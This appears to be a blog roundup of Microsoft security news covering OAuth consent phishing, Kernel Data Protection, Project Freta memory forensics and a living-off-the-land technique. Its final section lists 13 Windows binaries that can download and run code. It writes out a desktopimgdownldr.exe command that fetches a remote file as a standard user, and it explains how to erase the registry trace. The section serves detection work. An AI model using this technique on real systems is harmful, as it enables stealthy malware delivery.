Consent Phishing ! Warning from Microsoft

Phishing campaign are a common tactic in which cybercriminals impersonate a well-known company, product, or brand to steal account credentials, financial information, or other data from unsuspecting victims. A typical phishing attack convinces the user to directly enter their password and login credentials, which are then captured by the attacker.

But a more specialized type of campaign known as consent phishing aims to grab sensitive data not by snagging your password but by tricking you into giving the necessary permissions to a malicious app.

This type of consent phishing relies on the OAuth 2.0 authorization technology. By implementing the OAuth protocol into an app or website, a developer gives a user the ability to grant permission to certain data without having to enter their password or other credentials.

Used by a variety of online companies including Microsoft, Google, and Facebook, OAuth is a way to try to simplify the login and authorization process for apps and websites through a single sign-on mechanism. However, as with many technologies, OAuth can be used for both beneficial and malicious

Microsoft details the problem step by step in its blog post:

  1. An attacker registers an app with an OAuth 2.0 provider, such as Azure AD
  2. The app is configured in a way that makes it seem trustworthy, such as using the name of a popular product used in the same ecosystem.
  3. The attacker gets a link in front of users, which may be done through conventional email-based phishing, by compromising a non-malicious website, or through other techniques.
  4. The user clicks the link and is shown an authentic consent prompt asking them to grant the malicious app permissions to data.
  5. If a user clicks Accept, they grant the app permissions to access sensitive data.
  6. The app gets an authorization code, which it redeems for an access token, and potentially a refresh token.
  7. The access token is used to make API calls on behalf of the user.
  8. The attacker can then gain access to the user’s mail, forwarding rules, files, contacts, notes, profile, and other sensitive data.
content-phishing-microsoft.jpg

Microsoft touted some of the steps it’s taken to try to prevent this type of malicious behavior. The company said it uses such security tools as identity and access management, device management, threat protection, and cloud security to analyze millions of data points to help detect malicious apps. Further, Microsoft is trying to better secure its application ecosystems by allowing customers to set policies on the types of apps to which users can give certain consent.

Despite the efforts of Microsoft and other companies, these attacks persist as cybercriminals stay one step ahead of the game. To help protect against consent phishing campaigns, Microsoft offers advice for individuals and organizations.

For individuals:

  • Check for poor spelling and grammar. If an email message or the application’s consent screen has spelling and grammatical errors, it’s likely to be a suspicious application.
  • Keep a watchful eye on app names and domain URLs. Attackers like to spoof app names that make it appear to come from legitimate applications or companies but drive you to consent to a malicious app. Make sure you recognize the app name and domain URL before consenting to an application.

For organizations:

  • Understand the data and permissions an application is asking for 
  • Ensure administrators know how to manage and evaluate
  • Audit consent application and policies in your organisation.
  • Promote the use of applications that have been accessed
  • Configure consent policies.

Three pieces of advice for app and website developers that use OAuth:

  1. Make the permission prompts far more understandable to the casual end user. For instance, include a message that says: “If you say okay, you are giving this third party full control over all documents you can see, so make sure you trust the person asking. The request might be malicious.”
  2. Somehow make the system intelligent enough to make the risk decision on behalf of the user so a user not trained in computer security doesn’t have to make computer security decisions.
  3. Don’t allow high-risk decisions to be made, especially by default and so easily. The system should default to the least permissive permission and make the user go out of their way to give away the keys to the kingdom.

Microsoft KDP Anti Malware engine under testing

Microsoft is testing a new Windows 10 security feature dubbed Kernel Data Protection (KDP) and designed to block malicious actors from corrupting drivers and software running in the Windows kernel.

Besides adding memory and security protection to Windows 10 devices, KDP also comes with several added benefits, including:

• Performance improvements – KDP lessens the burden on attestation components, which would no longer need to periodically verify data variables that have been write-protected

• Reliability improvements – KDP makes it easier to diagnose memory corruption bugs that don’t necessarily represent security vulnerabilities

• Providing an incentive for driver developers and vendors to improve compatibility with virtualization-based security, improving adoption of these technologies in the ecosystem

Virtualization-based security used to secure kernel memory

KDP is actually a collection of APIs that make it possible to label parts of the Window kernel memory as read-only to block attackers and malware from modifying protected memory through virtualization-based security (VBS).

VBS makes use of hardware virtualization features to isolate a secure region of memory (virtual secure mode) from the normal Windows operating system.

KDP ‘s capability to mark kernel memory as read-only can also be used by both Windows kernel developers and developers of third-party solutions such as security products, anti-cheat, and digital rights management (DRM) software.

“VBS uses the Windows hypervisor to create this virtual secure mode, and to enforce restrictions which protect vital system and operating system resources, or to protect security assets such as authenticated user credentials,”.

Windows can use this ‘virtual secure mode’ to host a number of security solutions, providing them with greatly increased protection from vulnerabilities in the operating system, and preventing the use of malicious exploits which attempt to defeat protections.

KDP is used in the Windows Defender System Guard runtime attestation engine and in the code integrity engine in Windows, two critical features of Secured-core PCs (1, 2) that come with inbuilt protection against firmware attacks.

Secured-core PCs support

Virtualization-based security out of the box and they also come with hardware-backed security features toggled on by default.

Microsoft says that KDP is already available for testing in the latest Windows 10 Insider Build and that it can be used to secure any kind of memory, except executable pages which are already protected by hypervisor-protected code integrity (HVCI).

Project Freta ! Microsoft new cloud forensic initiative

Microsoft Research yesterday announced Project Freta, a free, cloud-based service for detecting rootkits and advanced malware in memory snapshots of live Linux systems. This service was developed by the NExT Security Ventures (NSV) team at Microsoft Research.

Snapshot-based memory forensics is an old security technique, but it is not available for customers from any major cloud provider. Project Freta will allow customers to perform full memory audits of thousands of virtual machines (VMs) without intrusive capture mechanisms.

Project Freta intends to automate and democratize VM forensics to a point where every user and every enterprise can sweep volatile memory for unknown malware with the push of a button—no setup required.

Microsoft Research’s Project Freta is now available to the public for free with no usage limit. It is capable of automatically fingerprinting and auditing a memory snapshot of most cloud-based Linux VMs. For now, over 4,000 kernel versions are supported automatically.

Key features:

  • Detect novel malicious software, kernel rootkits, process hiding, and other intrusion artifacts via agentless operation by operating directly on captured VM snapshots
  • Very easy to use: submit a captured image to generate a report of its content
  • Memory inspection means no software to install, no notice to malware to evacuate or destroy data
  • Designed for automating IR-like discovery tasks directly into a cloud fabric — though volatile memory snapshots captured from an acquisition tool can also be used for bare iron scenarios where virtualization is not available

Windows 10 Background image tool… Cause a Security issues

A binary in Windows 10 responsible for setting an image for the desktop and lock screen can help attackers download malware on a compromised system without raising the alarm.

Known as living-off-the-land binaries (LoLBins), these files come with the operating system and have a legitimate purpose. Attackers of all colors are abusing them in post-exploitation phases to hide malicious activity.

The new LoL in the Bin
An attacker can use LoLBins to download and install malware, bypass security controls such as UAC or WDAC. Typically, the attack involves fileless malware and reputable cloud services.

A list of 13 Windows native executables that can download and execute malicious code:

powershell.exe
bitsadmin.exe
certutil.exe
psexec.exe
wmic.exe
mshta.exe
mofcomp.exe
cmstp.exe
windbg.exe
cdb.exe
msbuild.exe
csc.exe
regsvr32.exe

The executable is part of the Personalization CSP (configuration service provider) that allows, among others, defining the lock screen and desktop background images.

In both cases, the setting accepts JPG, JPEG, PNG files that are stored locally or remotely (supports HTTP/S URLs).

Running desktopimgdownldr.exe with administrator privileges overrules the user-defined lock screen image, alerting of something suspicious.

This can be avoided, though, if the attacker deletes a registry value immediately after running executing the binary, leaving the user none the wiser.

Executable appears to require high privileges (admin) so that it can create files in C:\Windows and in the registry, it can also run as a standard user to download files from an external source.

This is possible by changing the location of the %systemroot% environment variable before executing the binary. This results in modifying the download destination and bypassing access checks.

set “SYSTEMROOT=C:\Windows\Temp” && cmd /c desktopimgdownldr.exe /lockscreenurl:https://domain.com:8080/file.ext /eventName:desktopimgdownldr
Without administrator rights, writing to the registry is not possible, so the lock screen image remains unchanged. In this scenario, the method creates no other artifacts than the downloaded file.

Executable uses BITS COM Object to download a file and on some machines it tries to locate the COM+ Registration Catalog in the %systemroot% location. Since the attacker changes the environment variable, the attempt fails.

Users of Endpoint Detection and Response solutions to add “desktopimgdownldr.exe” to their queries and watchlists and treat it just like “certutil.exe,” a widely used LoLBin, by both advanced hackers doing a government’s bidding and cybercriminals set on scoring big money.